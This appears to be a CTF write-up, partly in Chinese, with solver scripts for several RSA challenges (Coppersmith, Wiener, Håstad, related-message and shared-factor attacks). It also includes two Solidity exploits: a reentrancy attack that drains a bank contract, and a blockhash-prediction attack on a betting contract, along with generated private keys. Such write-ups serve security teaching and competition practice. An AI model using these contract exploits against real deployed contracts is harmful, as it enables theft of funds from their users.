msg = 0x151886a90ebbbfe79f63fbfb860f991089786e883be96fd85a39f56e6512147680fe4257b814d76bdd7dea62a4c75c41cfb717f150eb38000000000000000000L
e = 3
P.<x> = PolynomialRing(Zmod(n))
f = (msg + x)^e - c
f = f.monic()
m = f.small_roots(epsilon=1/20)
print int(m[0])
1903917370682551034555
msg
m = 1903917370682551034555
msg = 0x151886a90ebbbfe79f63fbfb860f991089786e883be96fd85a39f56e6512147680fe4257b814d76bdd7dea62a4c75c41cfb717f150eb38000000000000000000L
msg =msg|m
print msg
1104876946382386833226428817684728232572927155168858737579230414862059811638800254664053825832738693156293202153064542002981284505817481033381480455987899
'''
m = 1104876946382386833226428817684728232572927155168858737579230414862059811638800254664053825832738693156293202153064542002981284505817481033381480455987899
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 2\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
p = io.recvline().split("=")[1].strip()
'''sage
n = 0x5401d2f0e31048e194f24b88f9fc1b3fe6e0bf64bf83b8c83d5fbe0a42b9f43dedb9dce1ea61e812fbd1ff7364456a9a6f1e08bb51dfc94f97cb4a3f0064f2094d8cb78e30da72beb414ed1517655dde51e954b2b7dfbbba2190b2368915b41fa28972250444b4f79afd3778751e531826bc370aa39749a64f7b4d94e2d76d8dL
pp =0x6bab908c66b6cfd913aa8902a58ece870e259675662eb4b12833419ef5253d713ac76d3e97cbe7602c7f1ff6f1865a4600000000000000000000000000000000L
cipher = 0x1cd46c5a497639fdd69c35caf0fc12f1ccb6181fa76abcbb0a4a3900672d703d6f2637db8c8d7584d48e05cc28dcb3a1799265f0c378880c1ab8d5fc2b37222443d8272b5d7987419daacd9ce871329f7bab0c3938baeb517fc3352ad04eb8b1b82bae803bb8d61caaad28b6d16aff3f64290852e942002a40f4f0c5f0364c80L
e =65537
kbits = 128
PR.<x> = PolynomialRing(Zmod(n))
f = x + pp
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = pp+int(roots[0])
print "p: ", hex(int(p))
assert n % p == 0
q = n/int(p)
print "q: ", hex(int(q))
phin = (p-1)*(q-1)
d = inverse_mod(e,phin)
flag = pow(cipher,d,n)
print flag
p: 0x6bab908c66b6cfd913aa8902a58ece870e259675662eb4b12833419ef5253d713ac76d3e97cbe7602c7f1ff6f1865a46acf4dbae0f59512201f61593f9f68395L
q: 0xc7bcecc65f7da74d92a08184b639f9af91ffea26c59416134869294ebd24d466eb3f58232d080a4a2b98dc65cf36c2efb0d3e99c6654155bd8e41831ff4d4419L
585468706681329276477449718210237848124414211836568187401926758884114761898943378227026028418158072928115014574268157835435181166614393317861105335193790
'''
m = 585468706681329276477449718210237848124414211836568187401926758884114761898943378227026028418158072928115014574268157835435181166614393317861105335193790
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 3\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
io.recvline()
dd = io.recvline().split("=")[1].strip()
'''
def partial_p(p0, kbits, n):
PR.<x> = PolynomialRing(Zmod(n))
nbits = n.nbits()
f = 2^kbits*x + p0
f = f.monic()
roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3) # find root < 2^(nbits//2-kbits) with factor >= n^0.3
if roots:
x0 = roots[0]
p = gcd(2^kbits*x0 + p0, n)
return ZZ(p)
def find_p(d0, kbits, e, n):
X = var('X')
for k in xrange(1, e+1):
results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
for x in results:
p0 = ZZ(x[0])
p = partial_p(p0, kbits, n)
if p:
return p
if __name__ == '__main__':
n = 0x359f1a3579b0feb2c8315eabd4f18300d0a436246c514c6f20315b367abdf7fa8bb2a67f463e93ee55e904709b9d8bb41961e05fab0996b021d14a41e95854b0d5fa4cd5b8bd4b5dfc239d457225a82e5193bfa9607c8a10717a33e9e50560d8448eef09f59d3174e4d574ba311cb85c22d8b2ba94bb2aa9459fa7e4556eabf5
e = 3
d = 0xf03a5b5181ef301c0e90d9f9f8c89321dc224848e6438132b8bbe2578335c0ce512875d46a93cc2a2afcc64d53604ac12f2b5b9520507919ca651141635cf533
beta = 0.6
epsilon = beta^2/7
nbits = n.nbits()
print nbits
kbits = floor(nbits*(beta^2+epsilon))
print kbits
d0 = d & (2^kbits-1)
print "lower %d bits (of %d bits) is given" % (kbits, nbits)
p = find_p(d0, kbits, e, n)
print "found p: %d" % p
q = n//p
print d
print inverse_mod(e, (p-1)*(q-1))
1022
420
lower 420 bits (of 1022 bits) is given
found p: 5187906304275017677597329735734220070576352716171110498255822371549949926866441888027248344079507102971677286337805888649512278848643645061940765012795363
12581758953975131139829460552441032035253094155970085390848181339207904871866760521309122068771352966718052558317786123791975955455578013601603365747094835
25102862251104975324783237668753484063940741831599758073664126789860590958797844165485168376592162323554806263577532211244673018130713710718373026663090840738408904930459702120537687392575873439836153561926217351088417309346677995236698734007954784101740717586952475522629013159116921613383958314383683941683
'''
n = 0x359f1a3579b0feb2c8315eabd4f18300d0a436246c514c6f20315b367abdf7fa8bb2a67f463e93ee55e904709b9d8bb41961e05fab0996b021d14a41e95854b0d5fa4cd5b8bd4b5dfc239d457225a82e5193bfa9607c8a10717a33e9e50560d8448eef09f59d3174e4d574ba311cb85c22d8b2ba94bb2aa9459fa7e4556eabf5
c = 0x21638d71294a9351d12ee4fda0f444e5b3f2ed8544b612883c095979da66c367323c3eae7d54040fb88aa590eefa62a3ea23bf6272eab4e6c5edbb7f4573d990c430e550afe3a4c3030c39e413986d284acfc3a2e3ab75778b2e067d85a89eab8182313073392997dee7cdab5ee4301f6e9721838406bddc88f3a1ae18ae57ba
d = 25102862251104975324783237668753484063940741831599758073664126789860590958797844165485168376592162323554806263577532211244673018130713710718373026663090840738408904930459702120537687392575873439836153561926217351088417309346677995236698734007954784101740717586952475522629013159116921613383958314383683941683
m = pow(c,d,n)
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 4\n")
e = int(io.recvline().split("=")[1].strip())
io.recvline()
n1 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c1 = int(io.recvline().split("=")[2].strip()[2:-1],16)
n2 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c2 = int(io.recvline().split("=")[2].strip()[2:-1],16)
n3 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c3 = int(io.recvline().split("=")[2].strip()[2:-1],16)
N = n1*n2*n3
N1 = N/n1
N2 = N/n2
N3 = N/n3
u1 = gmpy2.invert(N1, n1)
u2 = gmpy2.invert(N2, n2)
u3 = gmpy2.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = int(gmpy2.iroot(M,e)[0])
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 5\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
x = io.recvline().split("=")[1].strip()
'''
from sage.all import *
n1 =0x239e010007b64ae57fc6ed550065d6b0ff7bd24e74f8431528196a69ea29ccefa977d21bfbfaea80cf313e30b604465fda3d356ab8be8a998fd3687a6e3edd440691231850c97c423afc9ad77edbb0413772dfb855df2cd308906991230c620a08c6438f43c666cdf7856fd191cdab51d1082f92081fa79547775f0f5b8f0ec9
e = 3
C1 = 0xb67bf318324d9a0c0ea476e53f672e82f3e2107230ba71ff780c23f059d4dcf4fb2747d03d56494a8afe35a818acc5c05e1653bccde88f4636d953d1cf37f4f324124b026ecf2bed5fa5da93746fcff99f6fbc6d960a55f8ed8224bbd0f44e39294260e4d9266df21e93bf70ebf4b69ca20fe5fb9f031a444b72bb163c9a09cL
C2 = 0x1803d75614802a7813d70169cef2a000ea55e3ea34863d4f684394e944c12cd1b70a8f46efe22ed5a11ac3799999417907eb4ed1f6f77fe84e081506218f1ffc31608c314f738656aa001a753d4d513bdb932e055a5300cccbc90c5a98d442deb2db7ca6b64423492e204c9a09fd2cc2a9710d09bb3c800eb252a17c34b41c00L
PRxy.<x,y> = PolynomialRing(Zmod(n1))
PRx.<xn> = PolynomialRing(Zmod(n1))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n1))
g1 = x**e - C1
g2 = (x + y)**e - C2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
# need to switch to univariate polynomial ring
# because .small_roots is implemented only for univariate
h = h.univariate_polynomial() # x is hopefully eliminated
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
roots = h.small_roots(X=2**40, beta=0.3)
assert roots, "Failed1"
diff = roots[0]
if diff > 2**32:
diff = -diff
C1, C2 = C2, C1
print "Difference:", diff
x = PRx.gen() # otherwise write xn
g1 = x**e - C1
g2 = (x + 1)**e - C2
# gcd
while g2:
g1, g2 = g2, g1 % g2
g = g1.monic()
assert g.degree() == 1, "Failed 2"
# g = xn - msg
msg = -g[0]
# convert to str
print msg
print pow(msg,3,n1)==C1
Difference: 1
3359866727795952574047570400129983625808766359347672927740163405945044601265065800687792901768426453783209977783706554638017355219744329839231253397496875
True
'''
m = 3359866727795952574047570400129983625808766359347672927740163405945044601265065800687792901768426453783209977783706554638017355219744329839231253397496875
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 6\n")
n = io.recvline().split("=")[1].strip()
io.recvline()
io.recvline()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
'''
def wiener(e, n):
m = 12345
c = pow(m, e, n)
q0 = 1
list1 = continued_fraction(Integer(e)/Integer(n))
conv = list1.convergents()
for i in conv:
k = i.numerator()
q1 = i.denominator()
for r in range(20):
for s in range(20):
d = r*q1 + s*q0
m1 = pow(c, d, n)
if m1 == m:
return d
q0 = q1
d = wiener(0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bbL, 0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27L)
print d
d = 776765455081795377117377680209510234887230129318575063382634593357724998207571
'''
d = 776765455081795377117377680209510234887230129318575063382634593357724998207571
c = 0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866c
n = 0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27
m = pow(c,d,n)
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 7\n")
n = io.recvline().split("=")[1].strip()
io.recvline()
io.recvline()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
'''
'[++++++++++++++++]all clear[++++++++++++++++]\n'
'flag{17181389f36ebe098c4cebd3abe1096cdf7dd78f3db139e4958a7578f6fe6f44}\n'
强网先锋-辅助
In [1]: from Crypto.Util.number import inverse
In [2]: c1,e,n1 = 2482083893746618248544426737023750400124543452082436334398504986023501710639402060949
...: 10669327946289696883902971209933623597622157156464290024082777471919953312405395315791985083821
...: 40219349074806334415773162638530112325183929049830280521558621542644011081249684040988239466918
...: 11798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432
...: 68494692274123205324989457541779606709065512270230613484822025794329764546147748808680485601832
...: 39867969991033855655404965344224063903559879768154507445359497850730090430071594969291871843385
...: 92859040917546122343981520508220332785862546608841127597, 65537, 149670300599751149502953998741
...: 85047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711
...: 35264646977673293854464158384231379187298635750446218492407522743349863142328918798835147566678
...: 51908542103895875949754560649846119904611266843010862415329152673116751641902134742453110196236
...: 54865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085
...: 73868088331343357406024360002850060082462435847340305959759389141217939916581362251290126338029
...: 95610196247414887793670193897757865472920653528850072242395817769758923853644464461856429391372
...: 87519945974807727
In [3]: c2,e,n2 = 3829060039572042737496679186881067950328956133163629908872348108160129550437697677150
...: 59948392392579822432817559448321793883352022008723030347013852597046891551111132039618548256478
...: 39754353463544400357769097811584076360449864038198406483796096300393488954150457232088436311912
...: 52142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150
...: 53445700119676562167865995210801059627324423081232718278632976084403714971958726963213359514929
...: 40674909556448934027087202841797150021492240689288286565153264468817912286380085728893315119450
...: 42911372915003805505412099102954073299010951896955362470, 65537, 146246626287258206186223708039
...: 48630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057
...: 55022704839983724339249076216773308303036822124076469369432115010430604412593420169943014697046
...: 66574109992616308259311787318572675997503249186107900989525201135931302450105309613505927352394
...: 54337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741
...: 87403375697072435747053958984854870457309163391786938723932444773058754547256456149672488279949
...: 51867688583244908381691230770518903323136712203858304443315786743380140809596532018024765162374
...: 64651809255679979
In [4]: from Crypto.Util.number import inverse,GCD
In [5]: GCD(n1,n2)
Out[5]: 161993393900030566867150602363721535479433489542726899362944130872107225598993516228193877689420023695231584876954537089973673478074348422697619820309397363583748523503035462772765277978491082324620122838540365168604124924805412323471486221429513024367107238770298040268787441768635257727315317704741778501737L
In [6]: p = GCD(n1,n2)
In [7]: q = n1/p
In [8]: d = inverse(e,(p-1)*(q-1))
In [9]: m = pow(c1,d,n1)
In [10]: m
Out[10]: 46327402297756142163414444763385873143473454642530335007005275780577416655741L
In [11]: from Crypto.Util.number import long_to_bytes
In [12]: long_to_bytes(m)
Out[12]: 'flag{i_am_very_sad_233333333333}'
babybank
原合约分析
https://ethervm.io/decompile/ropsten/0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c 合约字节码->伪代码
合约成员 | 成员说明 |
---|---|
0x00 | balance map(address -> uint) |
0x01 | level map(address -> uint) |
0x02 | 合约创建者的地址 0x409dd71C0E5500dA1e0489d4885411b1Da52d4c2 |
0x03 | 初始化为3fde42988fa35 |
合约函数 | 参数 | 说明 |
---|---|---|
withdraw | uint256 | 如果sender的balance大于参数,就向sender发送一个value为参数乘0x5af3107a4000的交易,从sender的balance中扣除参数 |
profit | 无 | 如果sender的address最后四位为b1b1,且sender的level为0,sender的balance和level都加1 |
0x8c0320de | string,string | 进入要求balance大于0x02540be400,第一个参数是战队token的MD5 第二个参数是base64编码的邮箱 |
0x8e2a219e | uint256 | 如果sender是2号的值,将3号修改为传进来的值 |
guess | uint256 | 如果传进来的值是3号的值,且sender的level为1,sender的balance和level都加1 |
transfer | address,uint256 | 向address转移一定量的balance,只能转移0x02 |
0xd41b6db6 | address | 返回sender的level |
balance | address | 返回sender的balance |
合约创建者调用了0x8e2a219e 参数值为3fde42988fa35 |
原理
withdraw函数会给调用者发送以太坊,如果调用者是合约,就会调用合约的function() payable。
如果合约中function() payable调用了withdraw,这时最外层的withdraw尚未减少balance,所以第二次调用的withdraw会将balance减少到0,回到最外层的withdraw,就会将balance溢出。
但是要想发送以太坊就得让账户上有以太坊,而直接把以太坊发送给原合约是不行的,可以通过创建临时合约,在将以太坊转移到临时合约,最后通过selfdestruct(address)将临时合约上的以太坊强制转移到address上。
步骤
- 先创建一个地址最后四位为b1b1的账号
import binascii
import sha3
from ecdsa import SigningKey, SECP256k1
while 1:
priv = SigningKey.generate(curve=SECP256k1) #生成私钥
pub = priv.get_verifying_key() #生成公钥
keccak = sha3.keccak_256()
keccak.update( pub.to_string()) #keccak_256哈希运算
address = "0x" + keccak.hexdigest()[24:]
priv_key = binascii.hexlify( priv.to_string())
pub_key = binascii.hexlify( pub.to_string())
print("Private key: " + priv_key.decode() )
print("Public key: " + pub_key.decode() )
print("Address: " + address)
print address[-4:]
if "b1b1" == address[-4:]:
break
generate online:https://vanity-eth.tk/
Address: 0xb1D0cA3f763cFAAa494aF658f7B502D16eD1b1b1
Private key: 0d7438e0cafa6df372600aef059cf2621938f34ae9d1fd4683cea7ec96668639
Address: 0x1b6FA3DfcD943f5c513815af92355bF893b7b1b1
Private key: 6b8cd7688f612415d639ccffc179e8e31e0ab3b3fe57dc39c9eb0fbd9d4a6449
Address: 0xE9046061fc2eDaAd9910181396B212161067b1B1
Private key: 660fe55dc06323ed5a43cf6c5ebb4fbfe22f9a28f1788d4cb840ea102e8cd337
Address: 0xC7A403Fe97525d01E368D4f7f1920F4fe0BfB1B1
Private key: 95923502fff00e0393368e750535f500b5ee6db938d89d0ecd9d62c8b609ae9c
- 创建合约A
pragma solidity ^0.4.18;
contract ctf {
address callee = 0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c;
bytes4 f1 = 0x2e1a7d4d;
bytes4 f2 = 0x8c0320de;
bool count = false;
function() payable public
{
if (!count)
{
callee.call(f1,2);
count = true;
}
}
function hello() public returns (bool)
{
if(callee.call(f1,2))
return callee.call(f2,"2d5088d4cac1e7d5f935659807a44db8","bHRzbWFrZXJAbGl2ZS5jbg==");
}
}
- 创建临时合约B
pragma solidity ^0.4.18;
contract ctf2 {
function() payable public
{
}
function awsl(address to) public
{
selfdestruct(to);
}
}
- profit()
- guess(3fde42988fa35)
- transfer(合约A地址,2)
- 转移以太坊到临时合约
- 毁灭临时合约
- 调用合约A上的函数
babybet
原理
bet里面生成的随机数可被控制。
一个address最多获取1000点balance,而payforflag需要1000000点,生成1000个账号获取balance,最后转移到一个账号上。
步骤
pragma solidity ^0.4.18;
contract awsl {
address caller = 0xC7A403Fe97525d01E368D4f7f1920F4fe0BfB1B1;
address sender = 0x5d1beefd4de611caff204e1a318039324575599a;
bytes4 profit_addr = 0x66d16cc3;
bytes4 bet_addr = 0x7365870b;
bytes4 transfer_addr = 0xf0d25268;
function awsl() payable public
{
//caller = msg.sender;
}
function attack() payable public
{
sender.call(profit_addr);
bytes32 entropy = block.blockhash(block.number-1);
uint num = uint(entropy) % 0x03;
sender.call(bet_addr,num);
sender.call(transfer_addr,caller,1000);
selfdestruct(caller);
}
}
contract bitit {
address sender = 0x5d1beefd4de611caff204e1a318039324575599a;
bytes4 profit_addr = 0x66d16cc3;
bytes4 bet_addr = 0x7365870b;
bytes4 getflag_addr = 0x8c0320de;
function() payable public
{
}
function aaaaaaaaa() payable public
{
for (int i=0;i<19;i++)
{
awsl temp = new awsl();
temp.attack();
}
}
}
for (var i = 4;i<=50;i++){
var message ={to:"0x68Fb426E47dbaF6473f35b063CaF1BB4882C44Aa", data:"0x347b3755"};
web3.eth.sendTransaction(message, (err, res) => {
var output = "";
if (!err) {
output += res;
} else {
output = "Error";
}
console.log(output);
})
}
- 部署合约
- aaaaaaaaa() 53次 (aaaaaaaaa中最多只能进行19次操作,不然就out of gas了)
- getflag